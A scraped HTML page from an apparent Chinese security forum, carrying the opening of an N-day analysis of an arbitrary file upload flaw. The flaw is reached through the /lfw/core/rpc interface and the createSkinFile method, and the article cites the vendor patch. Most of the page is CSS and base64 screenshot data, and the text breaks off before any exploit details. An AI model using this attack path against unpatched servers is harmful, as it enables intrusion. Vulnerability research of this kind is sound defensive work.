/AND4tFY3Xm/Toh0KeIA86aziD28hvsDsGZM3xLKLrjCGsjCSanjTV/lp53WIUI5X7DkOtim0kaMQABwbaw1JvjjCooVnahJrl2NbeOlHmQesdeWcDDm151Uw4itkyRyhHa+o8AqzpAolQfERlyYrXU8TcoyZc3bc2TTc9bOxCSFlgOR+CCm78ShGPMgUNHUVT+NGMgx9p5S8ojoislOGDXJ/HWbpevnAhZjcJG83YRHZrg4cCyLbyfJZI3zAA43Mui7Z//EogzN/udIIqnSdh6czyF/f34cAaTNOCJtklgk8XEIm2roZAY9panWtZblERHrIhdamihzQ9G2dGx+KoTBSBdtWsddqEJaROCI9aSpbRbbKkm2iJSmPo9YyQRe6KnaxDO5/G4Kofm8n6jc6PLyujtlEPm9TWjKBUTWEmENgIcjSPJu8Kez/W0AQSD+uunlV58AGIOEAnOKGdJJPzDL9PHxvFpS0+BkDk/hBSfK9wOjj9+TiDzPD9nA03EcaR0V+XC5e98nuyq4N5VTHJYHXyrmvTNVz2v8PaVPXoRE184+h7lQcjXseY0bfJd/5ctBpchDLtOeBiLXcIWPbMfL5/ssUz/CqA0PPe/7jHXhOSbnBjOtm8CkdpnY5e7oGiXrGOt3UnLNorFadldwHdtxAWLmDG7+xLQxyMTeEOv18wuiUuPr+jwdD4TFQiPCWo75Yfv9wIOwgxHC5wrkGdw10eAdOxZe1RGkkt80Bp7c9hBev6dIN4use7Xaudbez1KlDGb+AvSG/ZuhtZoEqpLx5c6rnbimy8z1syuJXLw1ZDBX61pleBN4fCud2rYjYVkIBWPVR9VmVaQhtJyOx1zWnEtxYBKxcfRwCzENIWcKt6fyejZz2tuWGrkundF08nA+mR2JWe4K8PWOsL6Yg2DAeQL4q+eBSDsL8nC3EcrI4yyAlXBIpYp9riPuHb3pmWo6o0pBLSdYu5yHvCJ6mV9PU46Zxdt7k2c42I/q8Z79/u0GfIOUeBNbWKFVln8gBztRT5ucVG1JrwWhdHl94zcwlSy1flA6iaF5DLU9NlLouu20523JF1kQgv3gSi3k/MEq6IR1OZ6Okcu7isicAGAGXxoyOG6RFIDT/vON+gPKgffp6h5ip9gtNdzuI3DRO2KdludIE1FI1X36GIyvscoCn0YjJ/uYhBjOgTtUiIgFi/SYrC/5+nryC4/0+zpfuadd9xpZiPiocwJwUEBnWi8z7hJmCaFEVjaJrGAyi0RuTFeCy67V/BBCbvLS0SdJGIYWIjI9tu4K37md5lQiXt+qcyNFWkR8fZoeIUXO67u/TkKNFI3UYh4yRKtHZa9tz0Cjnw2E8ORHhpx2HkqJQChXn1eHfKBriM9CLY5xWoWmq7akDJNnUTFW21iGKQTgbS9yHQWCVZWOjAVSKJEwIiuH1ME0JGvZoajON8havYmbSrnRYsV0t0uF0LFND/XUKBfqSUqNL7Z4Line truncated
|
||||
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
||||
<!--[if lte IE 8]>
|
||||
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
||||
<![endif]-->
|
||||
<!--[if !IE]> -->
|
||||
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="navbar navbar-default">
|
||||
<div class=navbar-inner>
|
||||
<div class=container style=text-align:center;position:relative>
|
||||
<!--[if lte IE 8]>
|
||||
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
||||
<![endif]-->
|
||||
<div class=brand-box>
|
||||
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
||||
</div>
|
||||
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14071&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
||||
登录</a>
|
||||
|
||||
<div class="nav-collapse collapse">
|
||||
<div class="search d1 text-right">
|
||||
<form action=/search>
|
||||
<input type=text placeholder=搜索 name=keyword value>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id=Wrapper class=container>
|
||||
|
||||
|
||||
<div class=row2>
|
||||
<div class=span10>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="row box content" width="1200px !important" style=width:1200px>
|
||||
|
||||
<div class=box-container>
|
||||
<div class=main-topic>
|
||||
<div class="clearfix user-info topic-list">
|
||||
<p><span class=content-title>某通用系统Nday分析</span>
|
||||
</p>
|
||||
<div class=topic-info>
|
||||
<span class=info-left>
|
||||
<a href=https://xz.aliyun.com/u/22534>
|
||||
<span class="username cell"> amazingday</span></a> <span class=i-seprator> / </span>
|
||||
<span> 2024-03-11 11:29:47</span><span class=i-seprator> / </span>
|
||||
|
||||
<span>发表于四川 / </span>
|
||||
|
||||
<span>浏览数 2720</span>
|
||||
|
||||
|
||||
<span class=content-node>
|
||||
|
||||
<span class="label label-default label-node-first">
|
||||
<a href=https://xz.aliyun.com/tab/1>技术文章</a></span>
|
||||
<span class="label label-default">
|
||||
<a href=https://xz.aliyun.com/node/11>技术文章</a></span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
||||
顶(0)</a>
|
||||
<a class="vote vote-down" href=javascript:void(0)>
|
||||
踩(0)</a></span>
|
||||
</div>
|
||||
</div>
|
||||
<hr>
|
||||
<div id=topic_content class="topic-content markdown-body">
|
||||
<h2 id=toc-0>0x00</h2>
|
||||
<p>起因看见通告,描述是通过/lfw/core/rpc接口访问到PortalSpecServiceImpl类中的createSkinFile方法。</p>
|
||||
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311112222-933d6ee0-df56-1.png title><img src=data:image/png;base64,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t9ranQY7l9ehdZK63l0Td13e7b+7ud6+fnODTkPpHrBHsuf53pS9N/aF7mvdz9hff8DiQPVB2sGSRqRxZmN/U0ZTV3NSc+ehkEOtLZ4tBw87HN5+xORI1VHto8uPUY4VHRs8XnB84IToRN/J9JOPW6e03j01/tS1tui2jtOhp8+dCTxz6izz7PFzXueOnPc4f+gC40LTRdeLje0u7Qd/d/n9YIdrR+Mlt0vNl90vt3SO6zx2xefKyav+V89cY1+7eD3ieueN+Bu3bk682XWLd6vndvbtV3fy73y+O/8e4V7JffX75Q8MHtT8YfNHQ5dr19GH/g/bH8U+uvuY+/jFk9wnX7qLnlKflj8zflbb49RzpDew9/LzCc+7X4hefO4r/lPjz+qX1i8P/OX7V3v/+P7uV+JXg6+XvtF7s/2t89vWgaiBB+9y3n1+X/JB78OOj4yPZz8lfnr2efoX0peKrzZfW76Ffrs3mDM4KOKIObJfAQw2NC0NgNfbAaAmAUCD+zPKBPn+T2aIfM8qQ+A/YfkeUWauANTD//foPvh3cxOAPVvh9gvqq00EIIoKQJw7QMeOHW5DezXZvlJqRLgP2BTxNTUnFfwbk+85f8j75zOQqjqDn8//AhA/fFQ8luSxAACUQUlEQVR4nOzddXwb9/0/8NedTmxmO46DTuIwU0NNk7RNmdsUB93arePtu9+o69YxQ9utzEwpp+GGmdFh27GdmGVbrPv8/jjpLNmSLVPSdK/n49Etlk53H0uydO/7vD/vtySEECAiIiIiIiLqIvl8D4CIiIiIiIgubAwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIREREREVG3MLAkIiIiIiKibmFgSURERERERN3CwJKIiIiIiIi6hYElERERERERdQsDSyIiIiIiIuoWBpZERERERETULQwsiYiIiIiIqFsYWBIRERELine truncated
|
||||
补丁名称:patch_portal65_lfw任意文件上传漏洞<br>
|
||||
补丁编码:NCM_NC6.5_000_109902_20240301_GP_281362040</p>
|
||||
<p>搜了下网上没有相关描述<br>
|
||||
接口和关键类和函数描述中都给出来了,直接定位如下</p>
|
||||
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104709-a7e734de-df51-1.png><img src="data:image/png;base64,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